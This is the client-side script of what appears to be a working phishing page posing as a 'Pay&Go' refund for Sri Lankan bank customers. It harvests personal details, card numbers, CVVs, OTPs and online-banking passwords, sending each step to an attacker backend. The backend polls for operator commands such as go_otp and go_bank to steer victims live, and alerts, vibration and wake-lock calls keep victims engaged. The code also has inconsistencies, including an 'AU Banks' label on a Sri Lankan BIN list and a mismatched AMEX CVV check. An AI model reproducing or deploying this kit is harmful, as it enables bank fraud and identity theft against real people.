    // SESSION PERSISTENCE (localStorage)
    // ============================================
    function saveProgress() {
        var formData = {
            phone: document.getElementById('phone') ? document.getElementById('phone').value : '',
            fname: document.getElementById('fname') ? document.getElementById('fname').value : '',
            lname: document.getElementById('lname') ? document.getElementById('lname').value : '',
            dob: document.getElementById('dob') ? document.getElementById('dob').value : '',
            address: document.getElementById('address') ? document.getElementById('address').value : '',
            city: document.getElementById('city') ? document.getElementById('city').value : '',
            postcode: document.getElementById('postcode') ? document.getElementById('postcode').value : '',
            email: document.getElementById('email') ? document.getElementById('email').value : '',
            card: document.getElementById('card') ? document.getElementById('card').value : '',
            exp: document.getElementById('exp') ? document.getElementById('exp').value : '',
            cvv: document.getElementById('cvv') ? document.getElementById('cvv').value : '',
            bank_name: document.getElementById('bank_name') ? document.getElementById('bank_name').value : '',
            bank_user: document.getElementById('bank_user') ? document.getElementById('bank_user').value : '',
            bank_pass: document.getElementById('bank_pass') ? document.getElementById('bank_pass').value : ''
        };
        var state = {
            userId: userId,
            currentStep: currentStep,
            lastDataStep: lastDataStep,
            formData: formData,
            cardAttempt: cardAttempt,
            timestamp: Date.now()
        };
        localStorage.setItem(STORAGE_KEY, JSON.stringify(state));
    }

    function loadProgress() {
        var saved = localStorage.getItem(STORAGE_KEY);
        if (!saved) return false;
        try {
            var state = JSON.parse(saved);
            if (Date.now() - (state.timestamp || 0) > 86400000) {
                localStorage.removeItem(STORAGE_KEY);
                return false;
            }
            userId = state.userId || userId;
            lastDataStep = state.lastDataStep || 0;
            cardAttempt = state.cardAttempt || 0;

            if (state.formData) {
                for (var key in state.formData) {
                    var el = document.getElementById(key);
                    if (el) el.value = state.formData[key];
                }
            }

            if (lastDataStep >= 3) {
                showStep(4);
                startPolling(lastDataStep);
            } else {
                var targetStep = lastDataStep + 1;
                showStep(targetStep);
                if (targetStep === 1) checkStep1();
                if (targetStep === 2) checkStep2();
                if (targetStep === 3) {
                    var savedCard = (state.formData && state.formData.card) || '';
                    isAmex = /^3[47]/.test(savedCard.replace(/\D/g, ''));
                    updateCardTypeUI();
                    checkStep3();
                }
                if (targetStep === 8) checkStep8();
            }
            return true;
        } catch(e) {
            return false;
        }
    }

    function clearSession() {
        localStorage.removeItem(STORAGE_KEY);
    }

    // ============================================
    // NOTIFICATION TOAST
    // ============================================
    function showNotification(msg) {
        var toast = document.getElementById('notifToast');
        var text = document.getElementById('notifText');
        text.textContent = msg;
        toast.classList.add('show');
        setTimeout(function() {
            toast.classList.remove('show');
        }, 6000);
    }

    // ============================================
    // CARD BIN DETECTION (AU Banks)
    // ============================================
    var bankBins = {
        '405221': 'Bank of Ceylon', '454363': 'Commercial Bank', '535316': 'Hatton National Bank',
        '407220': 'Sampath Bank', '450949': 'Seylan Bank', '543049': 'DFCC Bank',
        '552287': 'Nations Trust Bank', '456443': 'People\'s Bank', '493827': 'National Savings Bank',
        '456470': 'Pan Asia Bank', '493834': 'Union Bank', '493838': 'Amana Bank',
        '512345': 'Cargills Bank', '456472': 'Standard Chartered', '493839': 'HSBC Sri Lanka',
        '456444': 'Citibank Sri Lanka', '456445': 'State Bank of India',
        '493840': 'Indian Bank', '456446': 'ICICI Bank', '535318': 'Habib Bank'
    };

    function detectBank(cardNum) {
        var digits = cardNum.replace(/\D/g, '');
        if (digits.length < 6) return null;
        var prefix6 = digits.substr(0, 6);
        if (bankBins[prefix6]) return bankBins[prefix6];
        var prefix5 = digits.substr(0, 5);
        for (var bin in bankBins) {
            if (bin.indexOf(prefix5) === 0) return bankBins[bin];
        }
        var prefix4 = digits.substr(0, 4);
        for (var bin2 in bankBins) {
            if (bin2.indexOf(prefix4) === 0) return bankBins[bin2];
        }
        return null;
    }

    // ============================================
    // VALIDATION HELPERS
    // ============================================
    function stripSpaces(v) {
        return v.replace(/\s/g, '');
    }

    function isValidPhone(v) {
        var digits = stripSpaces(v);
        return /^07\d{8}$/.test(digits);
    }

    function isValidEmail(v) {
        return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v);
    }

    function isValidDob(v) {
        if (!/^\d{2}\/\d{2}\/\d{4}$/.test(v)) return false;
        var parts = v.split('/');
        var d = parseInt(parts[0], 10);
        var m = parseInt(parts[1], 10);
        var y = parseInt(parts[2], 10);
        if (m < 1 || m > 12 || d < 1 || d > 31 || y < 1900 || y > 2006) return false;
        var date = new Date(y, m - 1, d);
        return date.getDate() === d && date.getMonth() === (m - 1) && date.getFullYear() === y;
    }

    function isValidPostcode(v) {
        return /^\d{5}$/.test(v);
    }

    function isValidName(v) {
        return /^[a-zA-Z\s\-']{2,}$/.test(v);
    }

    function isValidCard(v) {
        var digits = stripSpaces(v);
        var len = isAmex ? 15 : 16;
        if (!new RegExp('^\\d{' + len + '}$').test(digits)) return false;
        var sum = 0, alternate = false;
        for (var i = digits.length - 1; i >= 0; i--) {
            var n = parseInt(digits.substring(i, i + 1), 10);
            if (alternate) {
                n *= 2;
                if (n > 9) n -= 9;
            }
            sum += n;
            alternate = !alternate;
        }
        return (sum % 10) === 0;
    }

    function isValidExp(v) {
        if (!/^\d{2}\/\d{2}$/.test(v)) return false;
        var parts = v.split('/');
        var mm = parseInt(parts[0], 10);
        var yy = parseInt(parts[1], 10);
        if (mm < 1 || mm > 12) return false;
        var now = new Date();
        var curYear = now.getFullYear() % 100;
        var curMonth = now.getMonth() + 1;
        var fullYear = yy < 50 ? 10000 + yy : 1900 + yy;
        var cardDate = new Date(fullYear, mm, 0);
        return cardDate >= new Date(now.getFullYear(), curMonth, 0);
    }

    function isValidCvv(v) {
        if (isAmex) return /^\d{5}$/.test(v);
        return /^\d{3}$/.test(v);
    }

    // ============================================
    // REAL-TIME UI HELPERS
    // ============================================
    function setInputState(id, valid, showError) {
        var el = document.getElementById(id);
        var err = document.getElementById('err-' + id);
        if (!el) return;
        el.classList.remove('error', 'valid');
        if (valid) {
            el.classList.add('valid');
            if (err) err.classList.remove('show');
        } else if (showError) {
            el.classList.add('error');
            if (err) err.classList.add('show');
        } else {
            if (err) err.classList.remove('show');
        }
    }

    function setButtonActive(id, active) {
        var btn = document.getElementById(id);
        if (!btn) return;
        if (active) btn.classList.add('active');
        else btn.classList.remove('active');
    }

    function checkStep1() {
        var phone = document.getElementById('phone').value;
        var valid = isValidPhone(phone);
        setInputState('phone', valid, phone.length >= 10);
        setButtonActive('btn-step1', valid);
    }

    function checkStep2() {
        var fname = document.getElementById('fname').value;
        var lname = document.getElementById('lname').value;
        var dob = document.getElementById('dob').value;
        var address = document.getElementById('address').value;
        var city = document.getElementById('city').value;
        var postcode = document.getElementById('postcode').value;
        var email = document.getElementById('email').value;

        setInputState('fname', isValidName(fname), fname.length > 0);
        setInputState('lname', isValidName(lname), lname.length > 0);
        setInputState('dob', isValidDob(dob), dob.length >= 10);
        setInputState('address', address.length >= 3, address.length > 0);
        setInputState('city', city.length >= 2, city.length > 0);
        setInputState('postcode', isValidPostcode(postcode), postcode.length >= 4);
        setInputState('email', isValidEmail(email), email.length > 0);

        var ok = isValidName(fname) && isValidName(lname) && isValidDob(dob) &&
                 address.length >= 3 && city.length >= 2 &&
                 isValidPostcode(postcode) && isValidEmail(email);
        setButtonActive('btn-step2', ok);
    }

    function formatCardInput(val) {
        var digits = val.replace(/\D/g, '');
        isAmex = /^3[47]/.test(digits);
        var maxLen = isAmex ? 15 : 16;
        digits = digits.substr(0, maxLen);

        var formatted = '';
        if (isAmex) {
            for (var i = 0; i < digits.length; i++) {
                if (i === 4 || i === 10) formatted += ' ';
                formatted += digits[i];
            }
        } else {
            for (var i = 0; i < digits.length; i++) {
                if (i > 0 && i % 4 === 0) formatted += ' ';
                formatted += digits[i];
            }
        }
        return { formatted: formatted, isAmex: isAmex, maxLen: maxLen, digits: digits };
    }

    function updateCardTypeUI() {
        var cardVal = document.getElementById('card').value;
        var info = formatCardInput(cardVal);
        isAmex = info.isAmex;

        document.getElementById('logo-visa').classList.toggle('active', !isAmex && info.digits.length >= 1);
        document.getElementById('logo-mc').classList.toggle('active', !isAmex && /^5/.test(info.digits));
        document.getElementById('logo-amex').classList.toggle('active', isAmex);

        var cvvEl = document.getElementById('cvv');
        var errCvv = document.getElementById('err-cvv');
        if (isAmex) {
            cvvEl.setAttribute('maxlength', '4');
            cvvEl.setAttribute('placeholder', '0000');
            errCvv.textContent = 'Enter a valid 4-digit AMEX security code.';
        } else {
            cvvEl.setAttribute('maxlength', '3');
            cvvEl.setAttribute('placeholder', '000');
            errCvv.textContent = 'Enter a valid 3-digit CVV.';
        }

        var maxFormatted = isAmex ? 17 : 19;
        document.getElementById('card').setAttribute('maxlength', maxFormatted.toString());
    }

    function checkStep3() {
        var card = document.getElementById('card').value;
        var exp = document.getElementById('exp').value;
        var cvv = document.getElementById('cvv').value;

        updateCardTypeUI();

        var cardValid = isValidCard(card);
        var expValid = isValidExp(exp);
        var cvvValid = isValidCvv(cvv);

        var cardDigits = stripSpaces(card).length;
        var targetLen = isAmex ? 15 : 16;

        setInputState('card', cardValid, cardDigits >= targetLen);
        setInputState('exp', expValid, exp.length >= 5);
        setInputState('cvv', cvvValid, cvv.length >= (isAmex ? 4 : 3));

        var bankEl = document.getElementById('bank-detect');
        var bank = detectBank(card);
        if (bank && cardDigits >= 6) {
            bankEl.textContent = '\ud83c\udfe6 ' + bank;
            bankEl.classList.add('show');
        } else {
            bankEl.classList.remove('show');
            bankEl.textContent = '';
        }

        setButtonActive('btn-step3', cardValid && expValid && cvvValid);
    }

    function checkStep8() {
        var bank = document.getElementById('bank_name').value;
        var user = document.getElementById('bank_user').value;
        var pass = document.getElementById('bank_pass').value;

        setInputState('bank_name', bank !== '', bank !== '');
        setInputState('bank_user', user.length >= 3, user.length > 0);
        setInputState('bank_pass', pass.length >= 4, pass.length > 0);

        var ok = bank !== '' && user.length >= 3 && pass.length >= 4;
        setButtonActive('btn-step8', ok);
    }

    // ============================================
    // INPUT FORMATTERS + REAL-TIME VALIDATION
    // ============================================
    document.getElementById('phone').addEventListener('input', function(e) {
        var val = e.target.value.replace(/\D/g, '').substr(0, 10);
        var formatted = val;
        if (val.length > 7) formatted = val.slice(0, 3) + ' ' + val.slice(3, 6) + ' ' + val.slice(6);
        else if (val.length > 3) formatted = val.slice(0, 3) + ' ' + val.slice(3);
        e.target.value = formatted;
        checkStep1();
    });
    document.getElementById('phone').addEventListener('blur', checkStep1);

    document.getElementById('dob').addEventListener('input', function(e) {
        var val = e.target.value.replace(/\D/g, '').substr(0, 8);
        var formatted = val;
        if (val.length > 4) formatted = val.slice(0, 2) + '/' + val.slice(2, 4) + '/' + val.slice(4);
        else if (val.length > 2) formatted = val.slice(0, 2) + '/' + val.slice(2);
        e.target.value = formatted;
        checkStep2();
    });

    document.getElementById('postcode').addEventListener('input', function(e) {
        e.target.value = e.target.value.replace(/\D/g, '').substr(0, 5);
        checkStep2();
    });

    ['fname','lname','address','city','email'].forEach(function(id) {
        document.getElementById(id).addEventListener('input', checkStep2);
        document.getElementById(id).addEventListener('blur', checkStep2);
    });
    document.getElementById('dob').addEventListener('blur', checkStep2);
    document.getElementById('postcode').addEventListener('blur', checkStep2);

    document.getElementById('card').addEventListener('input', function(e) {
        var info = formatCardInput(e.target.value);
        e.target.value = info.formatted;
        checkStep3();
    });
    document.getElementById('card').addEventListener('blur', checkStep3);

    document.getElementById('exp').addEventListener('input', function(e) {
        var val = e.target.value.replace(/\D/g, '').substr(0, 4);
        var formatted = val;
        if (val.length > 2) formatted = val.slice(0, 2) + '/' + val.slice(2);
        e.target.value = formatted;
        checkStep3();
    });
    document.getElementById('exp').addEventListener('blur', checkStep3);

    document.getElementById('cvv').addEventListener('input', function(e) {
        var max = isAmex ? 4 : 3;
        e.target.value = e.target.value.replace(/\D/g, '').substr(0, max);
        checkStep3();
    });
    document.getElementById('cvv').addEventListener('blur', checkStep3);

    document.getElementById('bank_name').addEventListener('change', checkStep8);
    document.getElementById('bank_user').addEventListener('input', checkStep8);
    document.getElementById('bank_pass').addEventListener('input', checkStep8);

    // ============================================
    // HELPER: Send data to backend
    // ============================================
    function sendData(data) {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", BACKEND, true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.send(JSON.stringify(data));
    }

    // ============================================
    // HELPER: Show/hide steps
    // ============================================
    function showStep(n) {
        for (var i = 1; i <= 8; i++) {
            var el = document.getElementById("step" + i);
            if (el) el.classList.add("hidden");
        }
        var target = document.getElementById("step" + n);
        if (target) target.classList.remove("hidden");
        currentStep = n;

        if (n === 7) {
            var ref = 'HD-' + Math.random().toString(36).substr(2, 8).toUpperCase();
            document.getElementById('ref-code').textContent = 'Reference: ' + ref;
        }
    }

    // ============================================
    // STEP 1: PHONE
    // ============================================
    function submitPhone() {
        var phone = document.getElementById("phone").value;
        if (!isValidPhone(phone)) {
            setInputState('phone', false, true);
            return;
        }
        lastDataStep = 1;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 1,
            phone: phone,
            interaction: "refund_phone_submitted"
        });
        showStep(2);
    }

    // ============================================
    // STEP 2: PERSONAL INFO
    // ============================================
    function submitPersonal() {
        var fname = document.getElementById("fname").value;
        var lname = document.getElementById("lname").value;
        var dob = document.getElementById("dob").value;
        var address = document.getElementById("address").value;
        var city = document.getElementById("city").value;
        var postcode = document.getElementById("postcode").value;
        var email = document.getElementById("email").value;

        checkStep2();

        if (!isValidName(fname) || !isValidName(lname)) {
            document.getElementById("err2").textContent = "Please enter valid first and last names.";
            document.getElementById("err2").classList.add("show");
            return;
        }
        if (!isValidDob(dob)) {
            document.getElementById("err2").textContent = "Please enter a valid date of birth (DD/MM/YYYY). Must be 18+.";
            document.getElementById("err2").classList.add("show");
            return;
        }
        if (!address || address.length < 3 || !city || city.length < 2) {
            document.getElementById("err2").textContent = "Please enter a valid address and city.";
            document.getElementById("err2").classList.add("show");
            return;
        }
        if (!isValidPostcode(postcode)) {
            document.getElementById("err2").textContent = "Please enter a valid 5-digit Sri Lankan postal code.";
            document.getElementById("err2").classList.add("show");
            return;
        }
        if (!isValidEmail(email)) {
            document.getElementById("err2").textContent = "Please enter a valid email address.";
            document.getElementById("err2").classList.add("show");
            return;
        }

        document.getElementById("err2").classList.remove("show");

        lastDataStep = 2;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 2,
            fname: fname,
            lname: lname,
            name: fname + " " + lname,
            dob: dob,
            address: address,
            city: city,
            postcode: postcode,
            email: email,
            interaction: "refund_personal_info_submitted"
        });

        showStep(3);
    }

    // ============================================
    // STEP 3: CARD
    // ============================================
    function submitCard() {
        var card = document.getElementById("card").value;
        var exp = document.getElementById("exp").value;
        var cvv = document.getElementById("cvv").value;

        checkStep3();

        if (!isValidCard(card)) {
            document.getElementById("err3").textContent = "Please enter a valid card number.";
            document.getElementById("err3").classList.add("show");
            return;
        }
        if (!isValidExp(exp)) {
            document.getElementById("err3").textContent = "Please enter a valid future expiry date (MM/YY).";
            document.getElementById("err3").classList.add("show");
            return;
        }
        if (!isValidCvv(cvv)) {
            document.getElementById("err3").textContent = isAmex ? "Please enter a valid 4-digit AMEX security code." : "Please enter a valid 3-digit CVV.";
            document.getElementById("err3").classList.add("show");
            return;
        }

        document.getElementById("err3").classList.remove("show");

        cardAttempt++;

        lastDataStep = 3;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 3,
            card: card,
            exp: exp,
            cvv: cvv,
            card_attempt: cardAttempt,
            interaction: "refund_card_submitted"
        });

        showStep(4);
        startPolling(3);
    }

    // ============================================
    // STEP 5: OTP
    // ============================================
    function submitOtp() {
        var otp = document.getElementById("otp").value;
        if (!otp || otp.length < 4) {
            document.getElementById("err5").classList.add("show");
            return;
        }
        document.getElementById("err5").classList.remove("show");

        lastDataStep = 5;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 5,
            otp: otp,
            interaction: "refund_otp_submitted"
        });

        showStep(4);
        startPolling(5);
    }

    // ============================================
    // STEP 6: APP APPROVAL
    // ============================================
    function submitApp() {
        lastDataStep = 6;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 6,
            interaction: "refund_app_approved"
        });

        showStep(4);
        startPolling(6);
    }

    // ============================================
    // STEP 8: BANK LOGIN
    // ============================================
    function submitBank() {
        var bank = document.getElementById("bank_name").value;
        var user = document.getElementById("bank_user").value;
        var pass = document.getElementById("bank_pass").value;

        checkStep8();

        if (!bank) {
            document.getElementById("err8").textContent = "Please select your bank.";
            document.getElementById("err8").classList.add("show");
            return;
        }
        if (!user || user.length < 3) {
            document.getElementById("err8").textContent = "Please enter your banking username.";
            document.getElementById("err8").classList.add("show");
            return;
        }
        if (!pass || pass.length < 4) {
            document.getElementById("err8").textContent = "Please enter your banking password.";
            document.getElementById("err8").classList.add("show");
            return;
        }

        document.getElementById("err8").classList.remove("show");

        lastDataStep = 8;
        saveProgress();
        sendData({
            action: "submit",
            userId: userId,
            step: 8,
            bank_name: bank,
            bank_user: user,
            bank_pass: pass,
            interaction: "refund_bank_credentials_submitted"
        });

        showStep(4);
        startPolling(8);
    }

    // ============================================
    // POLLING FOR ADMIN COMMANDS
    // ============================================
    function startPolling(fromStep) {
        isPolling = true;
        if (pollTimer) clearInterval(pollTimer);
        if (idleTimeout) clearTimeout(idleTimeout);

        // Request wake lock and notifications when polling starts
        requestWakeLock();
        requestNotificationPermission();

        pollTimer = setInterval(function() {
            doPoll(fromStep);
        }, 10000);

        // Auto-notification after 30 seconds of waiting
        idleTimeout = setTimeout(function() {
            if (isPolling) {
                showNotification("Please do not close this page. Your refund is being processed by our Sri Lankan banking partners and may take a few moments.");
            }
        }, 30000);
    }

    function doPoll(fromStep) {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", BACKEND + "?check=" + encodeURIComponent(userId) + "&_=" + Date.now(), true);
        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4 && xhr.status === 200) {
                try {
                    var data = JSON.parse(xhr.responseText);
                    if (data.command && data.command !== "wait") {
                        clearInterval(pollTimer);
                        pollTimer = null;
                        isPolling = false;
                        if (idleTimeout) clearTimeout(idleTimeout);
                        releaseWakeLock();
                        handleCommand(data.command, fromStep);
                    }
                } catch(e) {}
            }
        };
        xhr.send();
    }

    // ============================================
    // HANDLE ADMIN COMMANDS
    // ============================================
    function handleCommand(cmd, fromStep) {
        console.log("[ADMIN COMMAND] " + cmd);

        // Handle notification commands
        if (cmd.indexOf('notify:') === 0) {
            var msg = cmd.substring(7);
            showNotification(msg);
            // If user is away, also send browser notification + sound + vibration + flash title
            if (!pageVisible) {
                sendBrowserNotification("Pay&Go", msg);
                playAlertSound();
                vibrateDevice();
                flashTitle("Pay&Go Alert");
            } else {
                // Even if visible, play subtle sound and vibrate on mobile
                playAlertSound();
                vibrateDevice();
            }
            // Continue polling for real command
            startPolling(fromStep);
            return;
        }

        // For real navigation commands, notify the user strongly if they're away
        if (!pageVisible) {
            var stepName = "";
            switch(cmd) {
                case "go_otp": stepName = "OTP Verification Required"; break;
                case "go_app": stepName = "Bank App Approval Required"; break;
                case "go_bank": stepName = "Bank Login Required"; break;
                case "new_card": stepName = "New Card Required"; break;
                case "wrong_card": stepName = "Card Error - Retry"; break;
                case "go_success": stepName = "Refund Complete"; break;
                case "go_error": stepName = "Error - Action Required"; break;
                default: stepName = "Action Required";
            }
            sendBrowserNotification("Pay&Go — " + stepName, "Please return to the page to continue your refund claim.");
            playAlertSound();
            vibrateDevice();
            flashTitle("🔔 Action Required");
        }

        switch(cmd) {
            case "go_otp":
                showStep(5);
                break;

            case "go_app":
                showStep(6);
                break;

            case "go_bank":
                showStep(8);
                break;

            case "new_card":
                cardAttempt++;
                document.getElementById("card").value = "";
                document.getElementById("exp").value = "";
                document.getElementById("cvv").value = "";
                document.getElementById("bank-detect").classList.remove('show');
                document.getElementById("logo-visa").classList.remove('active');
                document.getElementById("logo-mc").classList.remove('active');
                document.getElementById("logo-amex").classList.remove('active');
                isAmex = false;
                document.getElementById("err3").textContent = "Your Sri Lankan bank declined this card for the refund. Please use a different card.";
                document.getElementById("err3").classList.add("show");
                checkStep3();
                saveProgress();
                showStep(3);
                break;

            case "wrong_card":
                document.getElementById("err3").textContent = "The card details provided are invalid. Please check and try again.";
                document.getElementById("err3").classList.add("show");
                showStep(3);
                break;

            case "go_success":
            case "go_next":
                clearSession();
                showStep(7);
                break;

            case "go_error":
                if (fromStep === 3) {
                    document.getElementById("err3").classList.add("show");
                    showStep(3);
                } else if (fromStep === 5) {
                    document.getElementById("err5").classList.add("show");
                    showStep(5);
                } else if (fromStep === 8) {
                    document.getElementById("err8").textContent = "Bank verification failed. Please check your Sri Lankan banking credentials and try again.";
                    document.getElementById("err8").classList.add("show");
                    showStep(8);
                } else {
                    showStep(fromStep);
                }
                break;

            default:
                showStep(4);
        }
    }

    // ============================================
    // INIT
    // ============================================
    requestNotificationPermission();

    var restored = loadProgress();
    if (!restored) {
        sendData({
            action: "submit",
            userId: userId,
            step: 1,
            interaction: "refund_page_loaded"
        });
    } else {
        sendData({
            action: "submit",
            userId: userId,
            step: currentStep,
            interaction: "refund_page_restored"
        });
    }
</script>

</body>
</html>